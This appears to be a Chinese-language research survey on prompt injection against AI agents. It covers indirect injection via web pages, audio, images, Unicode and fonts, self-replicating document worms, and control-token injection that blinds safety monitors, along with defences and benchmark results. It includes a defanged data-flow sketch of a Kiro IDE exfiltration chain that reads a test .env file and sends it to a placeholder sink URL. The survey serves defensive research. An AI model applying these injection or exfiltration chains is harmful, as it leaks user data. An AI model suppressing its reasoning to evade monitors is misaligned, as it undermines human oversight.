外观
Prompt Injection 与上下文信任边界研究综述
摘要
Prompt Injection 的根因是应用把不同信任来源的自然语言放入同一解释通道,模型无法可靠区分“数据中提到的指令”和“有权发令的主体”。网页、文档、邮件、RAG、Memory 与工具结果都可成为投递路径。用户直接攻击自己会话的模型策略属于 Jailbreak;第三方内容跨越 content-to-instruction 边界属于本类。
分类介绍
攻击者通常不能直接向 Agent 发令,而是控制它将要读取的内容。成功影响可从回复偏转扩展到数据外泄、工具越权和持久记忆污染。分类时以最先出现问题的安全控制为准:外部内容被当成指令归本类,后续工具或数据影响作为关联标签。
主要安全风险
- 间接注入隐藏在网页、邮件、文档元数据、图片和工具返回中。
- 指令与数据使用相同 token 通道,角色标签无法形成硬隔离。
- Prompt Injection as Role Confusion 的作者实验进一步表明,模型会按文本风格而非标签来源感知角色:伪造的推理文本可在用户或工具通道中被表征为模型自己的推理。角色探针测得的混淆程度在生成前就能预测注入是否成功,说明只增加
<tool>、<user>等标签不能形成确定性授权边界。 - 多步 Agent 会把注入影响传播到规划、工具、记忆和其他 Agent。
- 攻击可结合编码、不可见文本与多语言规避静态检测。
- 文档型自复制注入可把恶意语义复制到内部生成文档,使原始外部载体缺席后仍能再次触发,详见
../prompt-injection/notes/document-borne-ai-worm-prompt-injection.md。 - 图像缩放可制造“用户预览正常、模型下采样后看到指令”的感知差异;缩放隐蔽、模型服从和工具越权是三层不同控制,详见
../prompt-injection/notes/image-scaling-multimodal-prompt-injection.md。 - 持续监听 Agent 会把用户与第三方的并发声源混成同一输入,环境中的恶意语音因缺少声源到授权身份的绑定而越权成为命令,详见并发音频 Prompt Injection。
- 内容摄入流水线对同一份数据可能存在多条互不一致的解码路径(字符编码、DOM/文本提取、CSS 渲染、OCR),攻击者可制造人类与 AI 之间的内容分歧,而不只是可见性分歧;投递方向既可以是对人隐藏、对 AI 及其工具权限投递,也可以反过来欺骗被用作安全判断者的 AI,详见编码与渲染层的人机感知分歧。
防护措施与验证方法
避免让模型单独决定安全边界;为外部内容保留来源和信任标签;最小化可用工具和数据;使用服务器端参数校验、短期授权和高风险动作确认;隔离读取与执行阶段;以端到端任务和自适应攻击验证防护。提示词声明只能提供软约束,不能作为唯一控制。
局限与待验证问题
- 结构化内容通道能否在现有模型中形成可测量的指令隔离?
- 如何评估长文档和多模态载荷下的攻击覆盖率?
- 防护怎样在降低注入成功率的同时保持复杂任务效用?
历史研究成果
Workspace Topology把编码 Agent 的间接提示词注入评测变量扩展到目录深度、代码模块化、文件内位置和安全语境。作者在 100 个开源仓库、10 种语言、6 个工程领域和 3 类入口中观察到模块化与安全提示会显著改变攻击成功率。这些变量调节的是载荷能否进入上下文以及模型是否服从,首个失效控制仍是不可信仓库内容被当作指令;结果只覆盖 gpt-oss-120b、OpenCode 与单一命令载荷,不能直接外推到 Claude Code、Codex 或闭源模型。
围绕“不可信内容越权成为指令”这一失效控制,站内已发布研究把攻击对象、验证方法各自推进,但收敛到同一个机制结论。
研究对象已从传统网页/邮件文本扩展到多种模态和工作流。网页方向,网页中的间接 Prompt Injection 将对象扩展到真实网页和 HTTP 响应中的机器定向文本;多模态方向,并发音频 Prompt Injection 针对持续监听的语音 Agent,AudioHijack 检验可作为第三方样本注入的近乎不可感知音频,图像缩放型多模态 Prompt Injection 针对“用户预览与模型实际处理不一致”的图像缩放流水线,MIRAGE 则将用户生成内容置入移动 GUI 截图的可控区域;编码方向,编码与渲染层的人机感知分歧 综合 Unicode 隐写、双向重排/同形字、CSS 生成内容和自定义字体字形替换,把对象从"可见性隐藏"扩展到"同一数据的多路径解码分歧",并覆盖 Agent Skill 文件、MCP 工具描述等配置类投递面;工作流方向,文档型 AI Worm 研究 Copilot for Word 的文档生产链,DFIR Agent 结构化数据提示词注入 研究日志、计划任务等结构化取证字段;PleaseFix 与 Agentic Browser 意图碰撞 则把对象推进到跨站认证态下的浏览器 Agent。
研究方法从“构造隐藏文本”发展到系统化基准、网页测量与端到端复现。网页方向以 12 亿 URL 的多来源采样、实例验证和 5,200 次表示方式对照实验测量真实载荷;音频方向既有 AudioAgentSecurity 基准(2,160 个样本、11 个 Agent)结合数字仿真、物理实验与真机案例,也有 AudioHijack 在 13 个 Audio LLM 上以行为匹配、声学保真度和未见上下文测量近乎不可感知音频的影响;图像方向既有 Trail of Bits 的 Anamorpher 生成并检测缩放差异样本,也有 MIRAGE 以区域定位、样式化生成与策展构造 1,111 个移动 GUI 样本;编码方向的证据来自多个独立团队而非单一基准:Reverse CAPTCHA 以 5 个模型、8,308 次输出的交叉实验测量 Unicode 隐写的合规率;Semantic Integrity Failures 以 16 个 PDF 处理堆栈 × 7 个商用 LLM 服务系统评估 25 个"提取缺口";MCPTox 以 45 个真实 MCP Server、353 个工具和 1,312 个测试用例测量工具描述层面的注入;LayerX 与 EvilFontTool 则以红队 PoC 和开源工具的形式覆盖自定义字体字形替换。腾讯朱雀实验室进一步把攻击方法、16 类注入通道、文本/文件两条表示路径与 35 个目标接入 DeepSeek Harness 的真实 Agent Loop,在受控 Source/Sink 下完成 14,560 次运行;RuleJudge 与 LLMJudge 的完全成功率分别为 5.6% 和 5.3%,隐藏 Unicode 的文件路径 RuleJudge 成功率为 25.5%,说明仅用纯文本样本会漏掉解析和表示层风险。该结果只适用于作者测试的 developer preview 版本、基线配置和判定协议,本站未独立复现。文档 worm 方向采用 144 天协调披露下的复现与多轮缓解复测,并有 AgentWorm 以 2,250 次独立试验验证跨 Agent 传播;浏览器方向以 Zenity 的跨产品红队演示串起从间接注入到账户接管的完整链路;DFIR 方向目前只有会议摘要与幻灯片,尚无公开复现环境。
研究成果的共同结论是:首个失效控制都不是“隐藏文本过滤”,而是 content-to-instruction 信任边界——外部内容无论以何种模态或格式进入,都不应获得改变任务目标或调用授权能力的指令权限。遥测数据提示词注入与远程 Agent 接管把这条结论扩展到 Sentry、Cloudflare WAF 与 Datadog:攻击者可控字段即使来自被拒绝请求,也会经可信日志和 AI 摘要进入带工具权限的 Agent;2,388 个 Sentry 暴露域名是入口测量,不是实际受害规模。企业 AI 参数注入与可信出口数据外泄则把投递面扩展到应用自身 URL 参数,说明已登录搜索 Agent 还可能借 Bing 等允许域名发起模型生成的外部请求。编码方向的研究进一步表明,这条边界的失效不只发生在"对人隐藏、对 AI 投递"这一个方向:Microsoft 365 Copilot 的 ASCII Smuggling 数据外泄已由厂商确认修复,而 LayerX 的字体替换 PoC 反过来证明,攻击者也能让文本解析型 AI 误判渲染后对人类有害的页面为"安全",五家受测厂商对该反向场景以"社交工程超出模型安全范围"为由未受理。AudioHijack 的 79%–96% 是作者在开放模型和未见上下文中的行为匹配结果,商业服务结论仅为特定 PoC;其余量化数字同样只在特定模型、算法和实验协议下成立,不能相互换算或外推为通用成功率。高影响后果还都依赖模型服从、工具授权或确认缺失等后续控制。具体证据、实验设计与适用范围以下方“相关研究文章”中的对应文章为准。
检测侧的另一条路线不扫描攻击内容本身,而是观察模型的预填充行为。预填充行为探针的上下文泄露检测(LeakGauge)在输入末尾追加内容无关的行为后缀,读取预填充阶段指定 token 的对数概率,用少于 500 个参数的分类器在模型开始解码前估计上下文泄露风险;作者在 11 个 8B–2.8T 模型上报告行为探针(behavior gauge)的 AUROC 为 0.944–0.996,Llama3.1-8B 部署实验中 AUROC 0.996、5% 误报率下真正率 0.963、平均额外延迟约 10.34 ms。其前提是防守方可读取 token 概率,白盒自适应攻击(GCG)能显著削弱单一公开探针,因此只能作为来源隔离与输出数据流控制之外的附加检测层,不能替代边界控制本身。
新增研究继续指向来源边界而非关键词过滤:PIPES Agent 感知来源防护为感知片段保留来源并在执行前校验,Android 无障碍树中的间接提示词注入覆盖视觉不可见但 Agent 可读的移动端元数据,元认知记忆驱动的一次性间接提示词注入则证明攻击者可在离线阶段积累策略并压缩为一次测试时查询;后续 ECLIPSE 又把反馈利用放到长时执行过程,以演化状态和隐蔽性约束跨阶段调整载荷。两者共享来源认证缺失这一首个失效控制,但评测需分别计算离线准备预算和在线跨阶段反馈。本站仅保留去武器化验证方法,不发布可直接执行的攻击文本。
防护路线也开始从外部过滤进入模型计算路径。DRIP对数据区中具有指令倾向的 token 做选择性表征编辑,并以残差路径持续融合可信顶层指令;作者在两个 7B–8B 模型和 SEP、AlpacaFarm、InjecAgent 上报告角色分离与自适应攻击稳健性提升,消融显示移除残差融合后 GCG ASR 从 1.06% 升到 62.80%。同文合并的 Semantic Overlays 则由推理服务在指定 Prefill 位置注入不可由文本 Token 仿造的区段标注,在五个基准上检验组合标注与效用。这支持“来源角色需要进入模型表征”的工程方向,但两者仍只是统计防护:单轮文本、开放权重或冻结模型与有限基准结果不能替代工具授权和服务器端参数校验。
执行层的 ROPE把不可伪造来源图与任务条件路由绑定到工具参数:只有能追溯到用户认可来源的值才可流入受保护参数,文本改写不改变允许结论。作者在开放式 Agent 套件上报告 ASR 为 1.6%–2.6%,同时保留未防护基线 82%–100% 的正常效用,并给出来源不变量与改写不变量;这些数字只适用于论文策略和基准。ROPE 进一步说明,提示词注入防护应把“内容是否像攻击”与“该来源是否有权影响这个参数”分开,但其形式保证依赖来源追踪器、策略和工具包装器均可信,不能覆盖被错误标为用户认可的来源。
攻击与诊断增量继续否定表层关键词过滤。SIR让 Computer Use 红队 Agent 从失败轨迹提炼原则再结合反馈改写攻击;在作者设置中,相对手写基线,Claude Opus 4.8 的攻击成功率从 4% 升到 24%,Gemini 3.5 Flash 从 0% 升到 28%,同时良性任务仍完成。The Framing Gap则把外泄包装成“完整性签名”等表面合规目标,观察到表层防护被绕过,而目的地白名单与能力隔离仍有效。两项研究的模型、迭代预算和工具环境有限且未独立复现;它们证明自适应措辞与目标 framing 会改变所测 ASR,不证明任意 Agent 都可被相同比例攻陷。
检测侧开始解释“分类器为什么判定”。Latent Diagnostic Taxonomy通过交叉验证选择嵌入维度,并以约占训练样本 29% 的潜在支持向量定位会改变分类边界的 token;What Guides the Agent?用带 anchor-free detection head 的一维 U-Net 定位上下文中真正驱动行为的指令片段,以辅助裁定未授权行为来源。这些方法给出可证伪的诊断对象,但都依赖其训练分布和标注,定位相关片段不等于证明因果或授权;部署时仍需来源标签、目的地限制和执行层授权。
Kiro:目录名触发与 Markdown 外传链
Mindgard 的两次 Kiro 披露说明,仓库中的“内容”不仅包括正文,也包括目录名、Steering 文件和 Markdown 渲染目标。较早披露中,恶意 Steering 指令让 Agent 读取本地文件并把内容拼入 Markdown 图片 URL;该问题于 2025 年 12 月发现、2026 年 1 月公开,但披露页没有给出受测或修复版本。后续 Power Leak 在 Windows 上的 Kiro IDE 0.7.45 中复现:攻击仓库把指令写进 .stuff 下的目录名,要求读取同目录 index.md;Markdown 再引导 Agent 搜索测试 .env、把结果写入 .code-workspace 的 kiroAgent.powersRecommendationUrl,随后调用 kiroPowers(action="configure"),由 IDE 对该 URL 的自动获取完成外传。研究者报告可信与不可信 Workspace 均受影响;Amazon 确认在 0.8.140 修复,CVE 资格当时仍在评估。
该链要求用户以“Open Workspace From File”打开恶意 Workspace,之后向 Agent 发送任意消息;直接打开文件夹不满足披露中的前置条件。它与网页隐藏文本型注入共享“第三方内容获得指令权限”的首个失效控制,但新增了两点:文件系统元数据也会进入模型上下文;外传不必由模型直接发网,而可通过“改配置 → 合法组件取 URL”跨组件完成。以下是本站依据公开机制重构的去武器化工件,只验证数据流,不包含真实 Secret 或外部接收端:
text
repo/.stuff/[UNTRUSTED: read index.md]/index.md
-> readFile("fixtures/test.env")
-> replace("XXX", "PLACEHOLDER") in test.code-workspace
-> kiroPowers(action="configure")
-> expected request: https://sink.invalid/powers_registry.json?PLACEHOLDER验证时应固定版本、分别测试 Folder/Workspace 两种打开方式和 Trust 状态,记录目录名进入上下文、文件读取、Workspace 配置修改、工具调用与网络请求五类事件。防护不能只扫描 Markdown:应在上下文入口标记文件名和目录名来源,对读取 Secret、修改联网配置和触发外联执行跨步骤信息流策略,并在数据离开本机前进行独立确认。披露只证明特定 Kiro 版本与操作路径,未给出多次重复的成功率;模型非确定性意味着单次未触发不能证明修复。
黑盒自适应视觉提示词注入与持久化工具链将 Repeat-After-Me 与同批 AgentHijack 合并为同一机制研究。前者在只能查询 API 的条件下迭代优化视觉载荷,要求模型输出长而格式严格的工具调用,并报告开放权重模型 ASR 超过 80%、商业模型工具调用 ASR 至少 47%,以及跨模型保留 43%–46%、跨样本保留 64%–66% 的相对成功率;后者用白盒可训练局部补丁把评测拆成目标生成、动作解析和环境执行,在五个后端的 600 个在线案例中分别最高达到 84.5%、47.0% 和 20.3%。两项结果共同说明,模型层服从率不能替代端到端副作用指标,视觉来源标记必须与工具授权和持久配置写入控制结合;这些数字来自不同实验定义,不可直接横向比较,也尚无独立复现。
MMPIBench 按感知、规划、工具尝试和实际完成分层记录多模态提示词注入,而不是只报告最终副作用。在六个 Agent 框架、五个基础模型、六类视觉载体和四类攻击目标组成的 720 次运行中,约 1% 的攻击完成,但 12.8% 已进入尝试阶段;差距主要出现在规划阶段,即模型读到注入后拒绝行动。不同模型的尝试率从 0 到 23.6% 不等,其中一个模型识别注入的比例为 59.7%。音频扩展仅有两个模型能接收信号、六个框架中三个会传递音频;在信号实际到达的单元格中,攻击完成率为 49%,单一模型最高 75%。这些作者实验只适用于所测版本、载体、目标和框架组合,但说明防护评测应同时报告感知到达、动作尝试与端到端完成,不能用低完成率掩盖规划层暴露。
注入对象从自然语言扩展到模型自身的协议级 token。Control-Token 注入压制思维链首次证明向用户消息追加模型自身的通道控制标记符可使 tokenizer 将推理回合渲染为"已完成"状态,导致推理模型的 CoT 从均值 52.5 tokens 降至 0,但工具调用仍在每次试验中触发;规则式和模型式安全监控器因此全部被绕过,39.6% 的拒绝转为完成的泄露操作。研究还揭示了 parser leniency 作为此前未被讨论的安全参数:两个 Gemma agent 官方 parser 对相同输出给出相反结果。该研究为提示词注入打开了新的攻击维度——不依赖自然语言措辞,而是注入目标模型自身的协议级 token 来控制对话模板的渲染行为——并暴露了内容通道与格式控制通道之间缺少隔离的失效点。
相关研究文章
上下文注入攻击
Control-Token Injection:通过控制标记符注入压制思维链与推理安全监控首次证明注入模型自身的控制标记符可完全压制 Agent 思维链,使基于推理的安全监控失效,并揭示工具调用触发由 Harness Parser 而非模型决定。2026-09-23多模态上下文注入
黑盒自适应视觉提示词注入与持久化工具链综合 Repeat-After-Me 与 AgentHijack,分析视觉载荷如何从模型输出传播到精确工具调用、环境副作用和持久配置。2026-09-03MIRAGE:移动 GUI Agent 的用户内容提示词注入分析移动 GUI 截图中用户生成内容如何被视觉语言模型当作动作指令,以及 MIRAGE 如何系统化构造这类评测样本。2026-05-27输入检测与泄露防护
预填充行为探针的上下文泄露检测分析如何用内容无关的行为后缀和预填充 token 概率,在模型开始解码前识别上下文泄露攻击,并评估自适应规避与部署代价。2026-08-18参数到提示词的注入与数据外泄
企业 AI 参数注入与可信出口数据外泄分析 URL 参数如何直接进入 Microsoft Copilot 与 Atlassian Rovo 的提示词,并借助允许访问的搜索或渲染通道外传企业数据。2026-08-13遥测与结构化数据注入
遥测数据提示词注入与远程 Agent 接管分析错误追踪、WAF 和日志平台中的攻击者可控字段如何进入 AI 运维工作流,并进一步触发包安装、DNS 修改和命令执行。2026-08-13感知来源与指令边界
PIPES:用来源证明与先验约束 Agent 感知将感知片段的生产者、预期语义和先验绑定到状态更新,降低不可信观察劫持 Agent 决策的风险。2026-08-13编码与渲染隐蔽
编码与渲染层的人机感知分歧:从 ASCII Smuggling 到恶意字体注入综合 Unicode 隐写、双向重排/同形字、CSS 生成内容与自定义字体字形替换等技术,说明攻击者如何让人类、文本解析流水线与渲染型 AI 分别读取不同内容,用于绕过内容审核,或反向欺骗被用作"安全判断者"的 AI。2026-08-12自适应提示词注入
元认知记忆驱动的一次性间接提示词注入分析离线复盘如何提炼跨目标攻击策略,并将测试时攻击压缩为一次查询。2026-08-09移动端 Agent 提示词注入
Android 无障碍树中的间接提示词注入评估移动端 Agent 同时读取界面视觉与无障碍元数据时,隐藏指令如何造成目标劫持和越权操作。2026-08-09攻击方法研究
PleaseFix 与 Agentic Browser 意图碰撞:从间接提示词注入到零点击账户接管复盘 Zenity Labs 在 Claude in Chrome、ChatGPT Atlas 与 Perplexity Comet 上披露的浏览器 Agent 攻击链,区分已演示机制、产品差异和证据限制。2026-08-05多模态注入
并发音频 Prompt Injection:环境声如何劫持持续监听 Agent分析第三方恶意语音与用户语音并发时,音频 Agent 将环境内容误当指令的攻击机制、实测结果及声源分离方案的适用范围。2026-07-30图像缩放型多模态 Prompt Injection 与 Anamorpher分析高分辨率图像在模型侧缩放后显现隐藏指令的感知差异,以及该输入变换如何与 Agent 工具权限组合造成数据外泄。2025-08-21传播与持久化
文档型 AI Worm:Copilot for Word 自复制 Prompt Injection分析外部 Word 文档中的间接提示词注入如何篡改下游文档并复制自身,形成依赖正常办公工作流传播的文档型 AI worm。2026-07-28网页与浏览器输入
网页中的间接 Prompt Injection:真实生态的规模测量对 12 亿 URL 中的间接提示词注入进行验证、分类和受控效果测量,说明网页输入的结构保留会显著影响 Agent 的服从风险。2026-04-29结构化数据与间接提示词注入
DFIR Agent 中的结构化数据提示词注入记录 Black Hat Asia 2026 对 DFIR Agent 处理日志和计划任务时的结构化数据提示词注入研究;公开材料含摘要与幻灯片,未提供完整复现环境。2026-04-24多模态第三方内容注入
AudioHijack:不可感知音频 Prompt Injection 与语音 Agent 工具滥用研究通过近乎不可感知的对抗音频影响 Audio LLM 行为,并报告在受控实验中对多种模型与两项商业语音服务的工具调用影响。2026-04-16指令来源与表征防护
DRIP:表征编辑与残差融合的提示词注入防护分析 DRIP 如何区分数据中的指令语义与真正授权指令,并评估其安全性、效用和适用限制。2025-11-01参考链接
Workspace Topology as an Attack Vector in Agentic Coding Assistants
Trail of Bits: Weaponizing Image Scaling Against Production AI Systems
Piggybacking on Perception: Concurrent Audio Prompt Injections
Boucher, Shumailov, Anderson, Papernot: Bad Characters: Imperceptible NLP Attacks
Rehberger: ASCII Smuggler Tool — Crafting Invisible Text and Decoding Hidden Codes
LeakGauge: Prefill Behavior Gauges for Context Leakage Detection
ROPE: Routed Origin Policy Enforcement against Indirect Prompt Injection
Mindgard:Power Leak—Amazon Kiro IDE Prompt Injection Enables Data Exfiltration
Mindgard:Amazon Kiro IDE Data Exfiltration via Steering File
AgentHijack: Visual Patch Attacks on Multimodal Computer-Use Agents